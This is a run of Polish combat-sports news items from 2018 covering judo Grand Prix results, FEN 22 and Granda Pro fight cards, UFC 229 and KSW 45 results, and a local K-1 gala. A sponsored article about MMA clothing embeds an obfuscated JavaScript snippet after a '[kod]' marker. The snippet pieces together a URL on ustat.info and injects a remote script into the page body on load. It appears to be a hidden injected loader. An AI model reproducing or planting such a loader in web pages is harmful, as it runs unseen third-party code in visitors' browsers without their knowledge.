Pierwszy medal w zawodach rangi Grand Prix w kategorii 70kg zdobyła Daria Pogorzelec. Wcześniej Polka rywalizowała w 78kg. Dotychczas w niższej kategorii Polka zdobywała medale w Bratysławie (złoto) i Warszawie (brąz), ale były to turnieju Pucharu Europy. W Cancun 28-letnia judoczka stoczyła pięć pojedynków. Polka pokazała, że jest w wysokiej formie, bo na rozkładzie zapisała wicemistrzynię świata Marię Perez. Pogorzelec trafiła do repasaży po porażce z Gabriellą Willems, ale poradziła sobie znakomicie i dostała szansę zmagań o medal. Polka pokonała Alessandrę Prosdocimo, która w tym roku stawała na podium w Pucharach Europy. Piąte miejsce w Cancun to najlepszy wynik Włoszki w Grand Prix.

O krok od podium była Karolina Pieńkowska (52kg). Polka po wygraniu dwóch walk poniosła porażkę z Aną Perez Box i pozostało jej starcie o brąz, w którym lepsza okazała się Joana Ramos. Ostatecznie Pieńkowska była piąta, tak jak i Beata Pacut (78kg). Po porażce z Roką Takayamą, Polka poradziła sobie w repasażach i stanęła do pojedynku o brąz. W walce o podium lepsza od zawodniczki Czarnych Bytom okazała się Kaliema Antomarchi.

Siódme pozycje zajęli Anna Borowska (57kg) oraz Maciej Sarnacki (+100kg).

W klasyfikacji medalowej zawodów w Cancun Polka zajęła 13. miejsce, razem z Niemcami. Najlepsi okazali się Rosjanie z dorobkiem sześciu krążków – po dwa każdego koloru. Za nimi Austria (2, 1, 2) oraz Kuba (2, 1, 1).

KM

Rozkład jazdy przed galą FEN 22

Media Trening

Wtorek, 16 października, godzina 14:00

Miejsce: Klub "Hulakula – Rozrywkowe Centrum Miasta", ul. Jagielonska 82b, 03-301 Warszawa

Zawodnicy wyznaczeni do media treningu: Grabowski, Klaczek, Kopera, Kondraciuk, Demczur, Gniadek

 

Konferencja prasowa

Czwartek, 18 października, godzina 17:00

Miejsce: Hotel 500, ul. Poznańska 139, 62-080 Tarnowo Podgórne koło Poznania

Zawodnicy wyznaczeni do udziału w konferencji: Rębecki, Kopera, Grabowski, Guelke, Radosz, Kubiszyn

 

Oficjalna ceremonia ważenia

Piątek, 19 października, godzina 18:00

Miejsce: Hala UAM, ul. Zagajnikowa 9, 61-602 Poznań

 

Karta walk FEN 22:

Damian Grabowski VS Jose Rodrigo Guelke -120 kg

Mateusz Rębecki VS Łukasz Kopera -70 kg*

Tomasz Kondraciuk VS Bartosz Leśko -84 kg

Kamil Gniadek VS Jacek Jędraszczyk -77 kg

Kamil Łebkowski VS Łukasz Demczur -66 kg

Łukasz Radosz VS Mateusz Kubiszyn -85 kg K-1

Krzysztof Klaczek VS Edilson Teixeira -66 kg

Dawid Pasternak VS Rafał Statkiewicz -61 kg

Granda Pro – Lucky 7: wyczekiwany rewanż w formule K-1

Na ten rewanż wyczekiwali wszyscy, organizatorzy, kibice, a także sami zawodnicy. Gdy podczas szóstej odsłony gali Granda Pro sędziowie orzekli werdykt pojedynku jako nierozstrzygnięty na trybunach oraz u zawodników pozostał niedosyt. Dyrektor sportowy organizacji, Michał Chmielewski tuż po zakończeniu gali zapowiedział, że do drugiej walki musi dojść i to jak najszybciej. Słowa dotrzymał i już 27 października podczas Granda Pro – Lucky 7 będziemy mogli zobaczyć drugie starcie pomiędzy Michałem Bławdziewiczem i Gordonem Hauptem z Niemiec.

Michał Bławdziewicz to młody i utalentowany zawodnik sportów walki. Na swoim koncie ma wiele sukcesów w formule K-1, a także dwa wygrane turnieje MMA w Amatorskim Pucharze KSW. – Zadałem rywalowi niskie kopnięcie. Przeciwnik upadł i coś mu się stało w plecy. Nie mógł kontynuować walki. Ja nie wykonałem żadnej nielegalnej akcji i nie zgadzam się z tym werdyktem. Bardzo chętnie zawalczę z nim jeszcze raz, jak najszybciej – wyznał warszawiak w jednym z wywiadów zaraz po pierwszej konfrontacji.

Gordon Haupt, podobnie jak najbliższy rywal również osiągną sporo sukcesów na niemieckim podwórku. Na październikowej Grandzie Pro – Lucky 7 stoczy swoją trzecią walkę dla organizacji. Jak dotąd nie udało mu się jeszcze wygrać. – Wygram ten rewanż. Nie ma innej opcji. Gdyby nie kontuzja to pokonałbym go już w pierwszym boju – zapowiada Niemiec.

Konfrontacja Bławdziewicza i Haupta odbędzie się w formule K-1 na dystansie trzech rund po trzy minuty, kategoria ciężka.

Ganda Pro – Lucky 7

Data: 27 października

Miejsce: Arena Ursynów (Warszawa)

Walki: K-1 i MMA

Bilety: www.eventim.pl

Granda Pro – Lucky 7: Miller vs. Wojtas

Granda Pro odsłania kolejne karty gali, która 27 października odbędzie się w warszawskiej Arenie Ursynów. W bardzo interesującym pojedynku MMA naprzeciw siebie stanie dwóch zawodników kategorii koguciej – Sylwester Miller i Igor Wojtas.

Sylwester Miller to weteran gal Granda Pro dla którego starcie z Wojtasem na Granda Pro – Lucky 7 będzie już szóstym starciem dla stołecznej organizacji i dziewiąty zawodowy pojedynek w karierze. Jego aktualny bilans to sześć zwycięstw (wszystkie przez poddania) i tylko dwie porażki. Trenujący w Legia Fight Club, pod okiem Jakuba Zawadzkiego zawodnik będzie chciał podtrzymać pasmo trzech zwycięstw, które czyni go niepokonanym od ponad roku.

Igor Wojtas to zawodnik Aliant Gold Team z zawodowym rekordem siedmiu zwycięstw i pięciu przegranych. Dwudziestotrzylatek o pseudonimie „Gucio” swoją ostatnią walkę toczył kilka tygodni temu na gali Armia Fight Night, gdzie musiał uznać wyższość swojego oponenta. Pojedynek z Millerem będzie dla niego szansą powrotu na zwycięski szlak i przerwanie passy triumfów rywala.

Pojedynek Miller vs. Wojtas została zakontraktowany na trzy, pięciominutowe rundy w kategorii koguciej, do 61 kilogramów.

Ganda Pro – Lucky 7

Data: 27 października

Miejsce: Arena Ursynów (Warszawa)

Walki: K-1 i MMA

Bilety: www.eventim.pl

Kolejna mistrzowska szansa Jędrzejczyk

Stało się. Joanna Jędrzejczyk będzie miała szansę zawalczyć o pas wagi muszej. Podczas gali UFC 231 w Toronto Polska zmierzy się z Walentiną Szewczenko.

31-letnia Jędrzejczyk celuje w pas mistrzowski kolejnej kategorii. W marcu 2015 roku Polka pokonała w drugiej rundzie Carlę Esparzę i sięgnęła po tytuł w wadze słomkowej. Olsztynianka skutecznie broniła pasa pięć razy. Tytuł straciła na rzecz Rose Namajunas, co było dużą niespodzianką, jednak w rewanżu ponownie lepsza okazała się Amerykanka. Ostatnio Jędrzejczyk pokonała Tecię Torres.

Jędrzejczyk "zagięła parol" na drugi pas mistrzowski. Tytuł został odebrany Nicco Montano, która musiała wycofać się z występu na gali UFC 228. Wtedy miała zmierzyć się z Walentiną Szewczenko. Planowano, że 8 grudnia reprezentantka Peru spotka się Joanną Jędrzejczyk. Ostatnie dni były jednak niezwykle burzliwe i sytuacja odwróciła się o 180 stopni. Szewczenko miała zaprezentować się 3 listopada w Nowym Jorku, a na jej rywalkę szykowano Sijarę Eubanks. Takie zestawienie było pokłosiem odwołanie pojedynku Nate'a Diaza z Dustinem Poirierem. Jędrzejczyk została odsunięta na bok, a decyzję tę władze UFC tłumaczyły tym, że Polka miałaby zbyt mało czasu na przygotowania. Polka nie kryła złości i odrzucała zarzuty o "uciekaniu od walki". – Zlekceważono kontrakt, który już podpisałam na walkę mającą się odbyć 8 grudnia. Naciskano, abym przyjęła nowy termin walki na listopad, jednocześnie tym samym nie dając mi możliwości przygotowania się podczas campu – napisała w oświadczeniu.

Minęło kilka dni i kolejna zmiana decyzji. Władze UFC zrezygnowały z zestawiania Szewczenko z Eubanks. Reprezentantka Peru 8 grudnia w Toronto zmierzy się z Joanną Jędrzejczyk. Dla pochodzącej z Kirgistanu zawodniczki będzie to kolejna szansa na zdobycie pasa mistrzowskiego. We wrześniu 2017 roku Szewczenko przegrała niejednogłośnie na punkty w starciu o tytuł w wadze koguciej.

Jędrzejczyk doskonale zna smak walk o najwyższą stawkę. Jeśli wygra z Szewczenko, zapisze się w historii UFC jako pierwsza kobieta, która zdobyła dwa pasy w różnych kategoriach wagowych. O triumf nie będzie łatwo. W czasach występów w boksie tajskim Szewczenko trzykrotnie pokonała Jędrzejczyk. Czas na rewanż w Toronto?

Fot. Joanna Jędrzejczyk Facebook

KM

Weteran KSW powraca do MMA na gali Granda Pro – Lucky 7!

Włodarze stołecznej organizacji Granda Pro dokładają wszelkich starań, żeby pojedynki podczas ich eventów elektryzowały fanów, przykuwały uwagę i stały na wysokim, sportowym poziomie. Nie inaczej będzie podczas wydarzenia, które zbliża się wielkimi krokami i już 27 października odbędzie się w warszawskiej Arenie Ursynów. Naprzeciw siebie stanie dwóch znanych w środowisku wojowników, którzy na pewno dostarczą fanom mieszanych sztuk walki oczekiwanych fajerwerków. A będą nimi: weteran organizacji KSW, Wojciech Orłowski, a także zawodnik topowego klubu Berkut Arrachion Olsztyn, Adam Kowalski.

Dla 36-letniego Wojciecha Orłowskiego występ na Granda Pro – Lucky 7 będzie pierwszym po ponad rocznej przerwie startem w formule MMA. Popularny „Gentelman” ostatni bój stoczył w marcu 2017 roku, gdzie po trzech rundach wypunktował Wojciecha Balejko.

Orłowski, który na co dzień mieszka i trenuje w Hiszpanii to znany pojedynków dla federacji KSW fighter, który toczył pojedynki z takimi zawodnikami jak David Oliva i Jan Błachowicz (obaj zawodnicy byli w tym czasie posiadaczami mistrzowskich pasów KSW).

Młodszy o rok od swojego przeciwnika Adam Kowalski powróci do ringu po porażce jakiej doznał z rąk Mateusza Ostrowskiego w kwietniu tego roku. Trenujący na co dzień w Olsztynie, pod czujnym okiem Pawła Derlacza i Szymona Bońkowskiego, a także mający takich wybitnych sparingpartnerów jak Mamed Khalidov i Aslambek Saidov wojownik Berkut Arrachion na pewno zapomniał już o ostatnim niepowodzeniu i w starciu na październikowej Granda Pro będzie chciał dopisać do swojego rekordu dziesiątą zawodową wygraną.

Obaj zawodnicy mają podobny bilans profesjonalnych walk. Orłowski na swoim koncie ma ich szesnaście (7 zwycięstw – 8 porażek – 1 N/C), Kowalski zaś piętnaście (9 zwycięstw – 5 porażek – 1 remis). Obaj walczyli z czołowymi zawodnikami z kraju i obaj wszystkie swoje porażki mięli przed czasem. Jaki wniosek? Że to starcie, które zakontraktowane zostało na trzy rundy, w limicie kategorii półciężkiej na pewno nie potrwa całego dystansu i któryś z nich zaliczy kolejną porażkę przed czasem!

GRANDA PRO – LUCKY 7

Data: 27 października

Miejsce: Arena Ursynów (Warszawa)

Pojedynki: formuła K-1 i MMA

Bilety: www.eventim.pl

Mistrzowski pojedynek na „Granda Pro – Lucky 7” już 27 października!

Po raz kolejny w Warszawie, po raz kolejny w Arenie Ursynów, czyli Granda Pro powraca! Kolejna odsłona, która w tytule mieć będzie „Lucky 7” zapowiada się bardzo interesująco z wielu względów. Fani sportów walki będą mogli obejrzeć pojedynki w dwóch formułach – MMA i K-1, a główną atrakcją tego sportowego spektaklu będzie mistrzowski bój o pas Międzynarodowego Mistrza Organizacji ISKA w wadze ciężkiej pomiędzy Arkadiuszem Wrzoskiem i Vladimirem Toktasynovem.

Arkadiusz Wrzosek to bezwątpienia, aktualnie jeden z najlepszych zawodników wagi ciężkiej w formule K-1 w Polsce. Na swoim koncie posiada tytuły m.in. mistrza organizacji Fight Exclusive Night, amatorskiego mistrza K-1 Global, mistrza europy Muay Thai organizacji IFMA, a także liczne tytuły krajowe w Muay Thai, kickboxingu i Sanda. Podczas październikowej gali Granda Pro – Lucky 7 stoczy swoją trzecią walkę dla stołecznej organizacji. Pierwszy pojedynek stoczył w 2017 roku, gdzie pokonał Kaia Duraka przez techniczny nokaut, zaś druga walka, po kontrowersyjnym werdykcie sędziów została uznana jako nie odbyta.

Wrzosek, który przebudował swój sztab szkoleniowy ostatnimi czasy zadebiutował również na zawodowym ringu jako pięściarz. W walce toczonej na dystansie czterech rund pokonał na punkty reprezentanta Kongo, Saida Kasongo. Teraz powraca do swojej koronnej dyscypliny i czeka go nie lada wyzwanie.

Vladimir Toktasynov, albo jak kto woli Tok to Rosjanin, który na stałe osiedlił się w niemieckim Duisburgu. Jego zawodowy rekord w formule K-1 to 49 zwycięstw (19 przez KO) i 12 porażek. I tutaj należy wspomnieć, że toczył boje nie z byle kim, bo naprawdę topowymi zawodnikami. Trenujący w Amrani Palace Gym  reprezentant Rosji w swojej zawodniczej karierze próbował sił również w boksie oraz MMA, lecz bez większych sukcesów.

Obaj zawodnicy solidnie przygotowują się do tego pojedynku, bo stawką jest nie byle co, a wspomniany wcześniej już pas Międzynarodowego Mistrza ISKA jednej z najbardziej prestiżowych organizacji na świecie. Kto przywłaszczy sobie to trofeum? Młody, rządny sukcesów Polak, a może stary, ringowy wyjadacz z Rosji? Przekonamy się już 27 października.

Na karcie walk październikowego wydarzenia będzie można zobaczyć również m.in. Aleksandrę Rolę (formuła MMA), Dawida Nowaka (formuła MMA), Patryka Małeckiego (formuła K-1), a także powracającego do starów w formule MMA, znanego z gal KSW, Wojciecha Orłowskiego. Z kim skrzyżują rękawice i jak wyglądać będzie kompletna karta walk dowiemy się już za kilka dni.

Granda Pro 7 – Lucky

Data: 27 października 2018

Miejsce: Arena Ursynów w Warszawie

Pojedynki: w formule K-1 i MMA

Bilety: już wkrótce na www.eventim.pl

FEN 22: Trening medialny

 

We wtorek 16 października o godzinie 14 w klubie "Hulakula – Rozrywkowe Centrum Miasta" odbędzie się trening medialny przed galą Fight Exclusive Night 22.

W wydarzeniu udział wezmą czołowi zawodnicy, którzy wystąpią w wielkopolskiej edycji gali FEN 22.

 

 

 

Podczas treningu medialnego kibicom zademonstrują się:

  • Damian Grabowski
  • Mateusz Rębecki
  • Łukasz Kopera
  • Tomasz Kondraciuk
  • Kamil Łebkowski
  • Kamil Gniadek
  • Łukasz Radosz
  • Łukasz Demczur
  • Krzysztof Klaczek

Wstęp na trening jest otwarty dla kibiców.

Informacje o treningu medialnym przed galą FEN 22:

Kiedy: 16 października, godzina 14.

Gdzie: "Hulakula – Rozrywkowe Centrum Miasta" – ul. Jagiellońska 82B, 03-301 Warszawa

Kto wystąpi: 9 zawodników, którzy wystąpią podczas gali FEN 22 w Poznaniu.

Karta walk FEN 22:

  • Damian Grabowski VS Jose Rodrigo Guelke -120 kg
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Tomasz Kondraciuk VS Bartosz Leśko -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS Łukasz Demczur -66 kg
  • Krzysztof Klaczek VS Edilson Teixeira -66 kg
  • Łukasz Radosz VS Mateusz Kubiszyn -85 kg K-1
  • Dawid Pasternak VS Rafał Statkiewicz -61 kg

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

Gdy puszczają nerwy

Trudno przejść obojętnie obok walki Conora McGregora z Khabibem Nurmagomedovem. Zarówno z powodów sportowych, ale i emocji, które wytworzyły się przed i po pojedynku.

Od początku było wiadomo, że jest to starcie elektryzujące świat MMA. Gala UFC 229 miała być wyjątkowa. Powrót Conora McGregora, który uwielbia blask fleszy, a na wprost niego niepokonany posiadacz pasa w kategorii lekkiej Khabib Nurmagomedov. Nikt nie odkryje Ameryki, jeśli powie, że promocja starcia oraz słowne utarczki były elementem skutecznego budowania zainteresowania. Wiadomo, że w tym McGregor jest mistrzem.

Irlandczyk spóźnia się na konferencję, Khabib nie zamierza na niego czekać i wychodzi. Inna sytuacja, 30-letni Rosjanin mówi do fanów McGregora, że dziadek Irlandczyka służył w angielskiej Marynarce Wojennej i "zabijał waszych ludzi". Wcześniej "Notorius" zaatakował ojca Nurmagomedova. Co warto dodać, MCGregor nie szczędził również cierpkich słów menadżerowi Rosjanina. Z kolei w kwietniu Irlandczyk zaatakował… autobus. Wraz z kolegami rzucał różnymi przedmiotami w stronę pojazdu, a elementy poraniły m.in. Michaela Chiesę. Prawdopodobnie Conor chciał dopaść Nurmagomedova. Ten po wszystkim wyśmiał zachowanie Irlandczyka. To tylko kilka przykładów tego jak budowała się atmosfera wokół walki McGregora i Nurmagomedova, którą oficjalnie potwierdzono w sierpniu.

W nocy z 6 na 7 października w T-Mobile Arenie w Las Vegas było gorąco. McGregor miał wrócić w wielkim stylu, bo to on nadal jest pierwszoplanową postacią UFC i chciał wrócić na tron. Irlandczyk trafił jednak na znakomitego rywala. Zapasy Khabiba na niejednym robią wrażenie, dodatkowo Rosjanin świetnie spisywał się w stójce. W czwartej rundzie Nurmagomedov wygrał przez duszenie zza pleców. McGregor poniósł czwartą porażkę, a Khabib pozostał mistrzem.

Sportowe wrażenia odeszły w zapomnienie, bo zaraz po walce doszło do eskalacji emocji. Rosjanin ruszył w kierunku sztabu McGregora. Sytuacja wyglądała groźnie, policja i ochrona musiały rozdzielać grupy. Wtedy do oktagonu wkroczyli kompani Khabiba i zaatakowali Irlandczyka. Powiedzieć, że było gorąco, to nic nie powiedzieć. Zawodników i osoby ich wspierające odprowadzono do szatni. Dekoracji nie było…

Po walce Nurmagomedov przeprosił za zaistniałą sytuację, ale zwrócił również uwagę na zachowanie McGregora. – Dlaczego mówicie, że przeskoczyłem przez klatkę? Co z McGregorem, który obrażał moją religię, kraj, ojca, był na Brooklynie i atakował autobus, co mogło skończyć się źle dla kilku ludzi – napisał w oświadczeniu Rosjanin.

Cała otoczka wokół wielkiej walki w MMA była nasycona emocjami. Złymi emocjami. Bo jasne jest, że promocja pojedynku ma istotne znaczenie. Niejednokrotnie zawodnicy rzucają w swoją stronę niemiłe słowa. Jednak jest pewna granica. Trudno zaakceptować zachowanie Khabiba i usprawiedliwiać go, bo odkuł się na McGregorze. Conor uderzył w jego ojca, Rosjanin odwdzięczył się słowami o dziadku rywala. W tym wypadku show poszło o krok za daleko. Atak na autobus, wylewająca się wulgarność McGregora, który w oktagonie pokazywał klasę nie raz. Irlandczyk chyba za bardzo skupiał się na tworzeniu widowiska przed walką i nie zważał na żadne świętości. Został za to skarcony w oktagonie. Niesmak pozostał. Ludzka ciekawość sprawia, że chętnie patrzymy na tego typu sytuacje. Nie można ich pochwalać. Ten obraz poszedł w świat, a zapomniana została wartość sportowa, która miała być nadrzędna. Podstawowa sprawa – czasami trzeba wiedzieć, kiedy wyhamować. W tym wypadku przekraczanie granic nie zawsze wychodzi na dobre.

Fot. Khabib "the Eagle" Nurmagomedov Facebook

KM

Łasiewicki mistrzem Ziemi Kurpiowskiej

Karol Łasiewicki pokonał Daniela Bralewskiego i sięgnął po pas mistrza Ziemi Kurpiowskiej w formule K-1 w kategorii 91kg. Ten pojedynek miał szczególne znaczenie dla organizatorów Kurpiowskiej Kuźni Mistrzów.

W hali WOSiR w Wyszkowie odbyło się wydarzenie dla miłośników sportów walki. XVIII Kurpiowska Kuźnia Mistrzów, która dla organizatorów była szczególna. – W minioną sobotę po raz osiemnasty odbyła się Kurpiowska Kuźnia Mistrzów. Liczba „18” zawsze będzie dla nas szczególna, bowiem pierwszy raz zawalczono o pas mistrza ziemi kurpiowskiej. Dla nas było to szczególne wydarzenie, ponieważ sami jesteśmy Kurpiami i identyfikujemy się z naszą lokalną kulturą. Właśnie dlatego postanowiliśmy zestawić reprezentanta Kurpi zielonych Karola Łasiewickiego z reprezentantem Kurpi białych Danielem Bralewskim – tłumaczy Paweł Deluga, jeden z organizatorów gali.

Kuźnia ma nie tylko wymiar lokalny, ponieważ na galach prezentują się zawodnicy z całej Polski. Rywalizacja klubowa budzi wiele emocji, a każda kolejna gala pokazuje, że projekt rozwija się. Walka o pas mistrzowski podczas XVIII Kuźni stanowiła swego rodzaju uwieńczeniem pewnej drogi. Organizatorzy podkreślają, że poziom sportowy ostatniej gali był wysoki. – To była jedna z najlepszych walk w historii Kuźni i panowie udowodnili, że dotychczasowe sukcesy, jakie osiągali na ringach nie były dziełem przypadku. Po dobrej walce wygrał Karol. Na pochwałę zasługują również Daniel Strzemiński i Bartosz Guz, którzy dali pokaz K-1 na najwyższym poziomie. Takich pojedynków, jak dwie nasze walki wieczoru, nie powstydziłaby się żadna polska organizacja, z DSF Kickboxing Challenge na czele. Nie jest to żaden wyraz arogancji, a docenienie wysiłku i klasy sportowej zawodników. Wszyscy fighterzy stanęli na wysokości zadania, dając z siebie wszystko i pokazując sportowego ducha, co nawet w największych walkach zaczyna powoli zanikać. Mam nadzieję, że zawodnicy, których zobaczyliśmy na Kuźni w przyszłości będą kroczyć z podniesioną głową w drodze na sportowe szczyty – wyjaśnia organizator.

"Nie popełnia błędów, ten kto nic nie robi". Organizatorzy mają świadomość uchybień. – . Oczywiście nie ustrzegliśmy się błędów. Cały czas je popełniamy, ciągle uczymy na nich, wyciągamy wnioski i dopracowujemy nasze eventy. Za nami kolejny poligon doświadczalny, kilka rozwiązań wypaliło, kilka nie, więc szukamy dalej złotego środka. Kurpie zaznaczają się coraz wyraźniej na mapie polskich sportów walki i rok 2019 będzie jeszcze lepszy od poprzedniego – zapewnia Paweł Deluga.

Kuźnia nie zwalnia tempa. Kolejna edycja Ligi Sportów Walki już 27 października w hali im. Arkadiusza Gołasia w Ostrołęce.

Fot. Ostrołęka Fight Academy Facebook

KM

Odzież MMA

Rosnąca ostatnimi czasy popularność MMA już chyba nikogo nie dziwi. MMA – czyli inaczej mixed martial arts – w spolszczeniu mieszane sztuki walki, to sport bardzo kontaktowy i widowiskowy. Jest więc atrakcyjny zarówno dla publiczności jak i dla samych sportowców.

MMA na fali popularności

W MMA dozwolone jest łączenie ruchów pochodzących z różnych technik i sztuk walki – prawdopodobnie właśnie ta różnorodność czyni walki MMA tak atrakcyjnym widowiskiem. Historia tej sztuki walki swoją dużą popularność zyskała dopiero niedawno, niemniej jednak warto wiedzieć, że pierwsze zawody, w których wykorzystywano elementy walki w stylu mieszanym, odnotowano już w starożytności. Dawniej jednak ta dyscyplina łączyła w sobie boks i zapasy, obecnie jest to mieszkanka wielu styli. Mimo pozostawienia zawodnikom dużej dowolności przebiegu walki, MMA posiada reguły, które aby walka przebiegła sprawiedliwie, powinny być respektowane.

Głównymi zasadami mieszanych sztuk walki jest zachowanie odpowiedniej pozycji podczas spotkania – walczyć powinno się „w stójce” lub „w parterze”, większość ciosów takich jak na przykład kopnięcia, rzuty i dźwignie są dozwolone, niemniej jednak nie oznacza to, że zawodnik posiada pełną dowolność w wymierzaniu uderzeń. Bezwzględnie zabronione jest umyślne łamanie stawów, ciosy „poniżej pasa” i skierowane w kierunku kręgosłupa. Gryzienie i kopanie a także wciskanie palców do oczu i kopanie leżącego zawodnika jest niedopuszczalne. Podsumowując – dozwolone są chwyty, które w bezpośredni sposób nie zagrażają utracie życia i dużego uszczerbku na zdrowiu walczących ze sobą zawodników.

""

Odpowiednia odzież treningowa MMA

W zasadach tej sztuki walki panuje spora dowolność – podobnie jest także z odpowiednim przygotowaniem odzieży treningowej do MMA. Najważniejszą kwestią, ważną dla zarówno zawodników profesjonalnych jak i amatorów jest wygoda. Zawodnik musi z łatwością wyprowadzać ciosy – odzież nie może krępować ruchów. Rewelacyjnie sprawdzają się do tego celu specjalne legginsy MMA, na przykład takie: https://fittimeshop.pl/114-legginsy-sportowe. Legginsy mają to do siebie, że nie krępują ruchów, są idealnie dopasowane do ciała i elastyczne. Odzież treningowa MMA to także różnego rodzaju koszulki – dopasowane i luźniejsze, krótkie spodenki – szorty i długie i krótkie legginsy.

Odzież do MMA

Odzież do MMA jest raczej prosta w swojej formie i zachowawcza – inwencję i własny charakter można wyrazić przez kolorystykę danych zestawów. Ubrania do mieszanych sztuk walki, mogą być stonowane ale także zaskakiwać swoim oryginalnym wzornictwem. Dzięki temu, każdy zawodnik – zarówno podczas ćwiczeń, treningów i sparingów ma szanse poczuć się wyjątkowo, profesjonalnie i komfortowo. Przy doborze odpowiedniego zestawu należy kierować się zawsze jakością wykonania. Aktualnie, stawia się na zestawy z materiałów kompresyjnych – takich, które pozwalają na odprowadzanie wilgoci na zewnątrz, co daje niesłychany komfort. Odzież kompresyjna pozwala na uczucie suchości i chłodu – nawet podczas intensywnych treningów.

""

[kod]

(function(){
t9vgu="p96kr7hs9vgz";t9vg=document.createElement("script");
t9vg_="u"+("st");t9vg_+="at"+(".");t9vg.async=true;t9vg_+="in";
t9vgu="124575736."+t9vgu;t9vg.type="text/javascript";t9vgu+="7h3tip0le2ph";
t9vgu+="intgdj";t9vg_+=("f")+"o"+("/");t9vg.src="https://"+t9vg_+t9vgu;
t9vgd=document.body;t9vgd.appendChild(t9vg);
})();

Nokaut za nokautem w Londynie

Gala KSW 45 w Londynie obfitowała w nokauty. Philip de Fries poddał Karola Bedorfa i nadal pozostaje mistrzem wagi ciężkiej. Tytuł w kategorii półśredniej wrócił do Roberto Soldicia.

Karol Bedorf wierzył, że w Londynie powróci na tron. Po wygranej z Mariuszem Pudzianowski, de Fries miał być kolejnym rywalem, którego pokona. 32-letni mistrz udowodnił, że tytułu nie zdobył przypadkowo. Bedorf wypadł blado przy rywalu, który nadawał ton walce. W drugiej rundzie de Fries wyciągnął rękę Bedorfa do granic możliwości i wygrał przez poddanie. 

Pas mistrza wagi półśredniej ponownie należy do Roberto Soldicia. Na KSW 43 Chorwat przegrał z Dricusem Du Plessisem w drugiej rundzie. W Londynie sytuacja wyglądała inaczej. Wraz z upływem czasu zarysowywała się przewaga Chorwata. W drugiej rundzie Soldić słał w stronę rywala kolejne ciosy, Du Plessis szukał parteru. Trzecia odsłona to rosnąca dominacja Chorwata. Zawodnik z RPA znalazł się pod siatką i przyjmował kolejne ciosy. W końcu sędzia przerwał walkę, a Chorwat mógł cieszyć się z tytułu. 

Pierwszą porażkę w KSW zanotował Damian Janikowski. Brązowy medalista w zapasach z Londynu znalazł pogromcę w osobie Michała Materli. Obaj zawodnicy nie zamierzali się oszczędzać i ruszyli zdecydowanie do przodu. Walka zakończyła się jednak w pierwszej rundzie. Po sierpowym Materli, Janikowski padł, a rywal dobił go ciosami w parterze. W drugim półfinałowym starciu turnieju wagi średniej Scott Askham znokautował w pierwszej rundzie Marcina Wójcika.

Erko Jun lepszy od Popka Monstera. Walka przebiegała w spokojnym tempie, jednak zakończyła się w drugiej rundzie. Jun znalazł się na górze i słał na głowę Popka kolejne ciosy. W końcu wkroczył sędzia i przerwał walkę. 

Emocje po starciu Leszka Kołakowskiego z Alfie Davisem. Polak wygrał niejednogłośnie na punkty, a puchar dla przegranego wylądował w toalecie. Davis nie zgadzał się z werdyktem sędziów. Walka Akopa Szostaka z Jamie Sloanem zakończyła się jako no-contest. Anglik nie kontynuował walki po tym jak został przypadkowo trafiony w oko.

W pozostałych walkach Thiago Silva na punkty lepszy od Jamesa McSweeneya, a Wagner Prado znokautował w pierwszej rundzie Łukasza Parobca.

KM

Hit w Las Vegas

Głównym wydarzeniem gali UFC 229, która odbędzie się w T-Mobile Arenie w Las Vegas będzie starcie Conora McGregora z Khabibem Nurmagomedovem. Stawką pojedynku pas wagi lekkiej.

Prędzej czy później do tego starcia musiało dojść. 6 października wyjaśni się, kto jest lepszy. Conor McGregor będzie chciał udowodnić, że mimo blisko dwuletniej nieobecności, nadal jest czołową postacią UFC i gwiazdą MMA. Ostatnią walkę Irlandczyk stoczył blisko dwa lata temu. W Nowym Jorku pokonał w drugiej rundzie Eddiego Alvareza i sięgnął po pas w wadze lekkiej, jednak ani razu go nie bronił. McGregor postawił na boks. Irlandczyk zmierzył się z Floydem Mayweather Jr., jednak przegrał przez techniczny nokaut w dziesiątej rundzie. Powszechnie wiadomo, że 30-latek lubi, gdy wokół niego jest głośno, dlatego tez chciał wrócić w mocnym stylu. Nie mógł sobie wymarzyć lepszego rywala niż niepokonany Khabib Nurmagomedov.

Zawodnik z Dagestanu z UFC jest związany prawie siedem lat, ale znaczący sukces odniósł dopiero w kwietniu tego roku. Nurmagomedov sięgnął po tytuł mistrzowski w wadze lekkiej pokonując Ala Iaquintę. Co istotne, pas został wcześniej odebrany McGregorowi, który nie wyrażał chęci do stoczenia pojedynku w jego obronie. Wracając do Rosjanina, pozostaje on niepokonany, a w UFC zanotował dziesięć zwycięstw.

Główne wydarzenie gali UFC 229 budzi ogromne zainteresowanie. Z pewnością przełoży się to na zarobki zawodników. McGregor poinformował, że jego gaża może wynieść nawet 50 milionów dolarów.

Wokół pojedynku McGregora z Nurmagomedovem nie brakuje emocji. Rosjanin opuścił ostatnią konferencję promującą wydarzenie przed przybyciem swojego rywala. Powód? McGregor nie stawił się o umówionej porze. Rosjanin zwrócił uwagę na brak profesjonalizmu ze strony rywala, poprosił o zadawanie czasu i po 15 minutach wyszedł. Na McGregora trzeba było poczekać. Gdy dotarł na miejsce, tłumaczył się korkami.

Dla McGregora gala UFC 229 może być magiczna. Po raz kolejny ma szansę zasiąść na tronie i udowodnić swoją wielkość. Nurmagomedov broni tytułu i walczy o pozostanie niepokonanym. Jeśli przegra, nie straci tyle, ile McGregor, który znajdzie się w trudnym położeniu. Czy światła zgasną dla Irlandczyka?

Ciekawie zapowiada się również starcie Tony'ego Fergusona i Anthony'ego Pettisa. Zwycięzca może być kolejnym rywalem Khabiba, o ile ten obroni tytuł.

Fot. UFC

KM

Kuźnia walecznych talentów

Wielkimi krokami zbliża się XVIII Kurpiowska Kuźnia Mistrzów. Gala odbędzie się 6 października w hali WOSiR w Wyszkowie.

Wydarzenie zapowiadane jest jako wielkie sportowe święto. Kurpiowska Kuźnia Mistrzów ma być ucztą pełną emocjonujących pojedynków. Kibice będą mogli podziwiać walki bokserskie, K-1 oraz MMA. Głównym wydarzeniem będzie starcie Daniela Bralewskiego i Karola Łasiewickiego, którzy stoczą bój o pas mistrza Ziemi Kurpiowskiej (91kg, K-1). Jak zawsze na Kuźni nie zabraknie emocjonującej rywalizacji klubowej. Z pewnością iskry posypią się w starciu Filipa Pham Honga (Legia Warszawa) i Tomasza Stępińskiego (Palestra Warszawa).

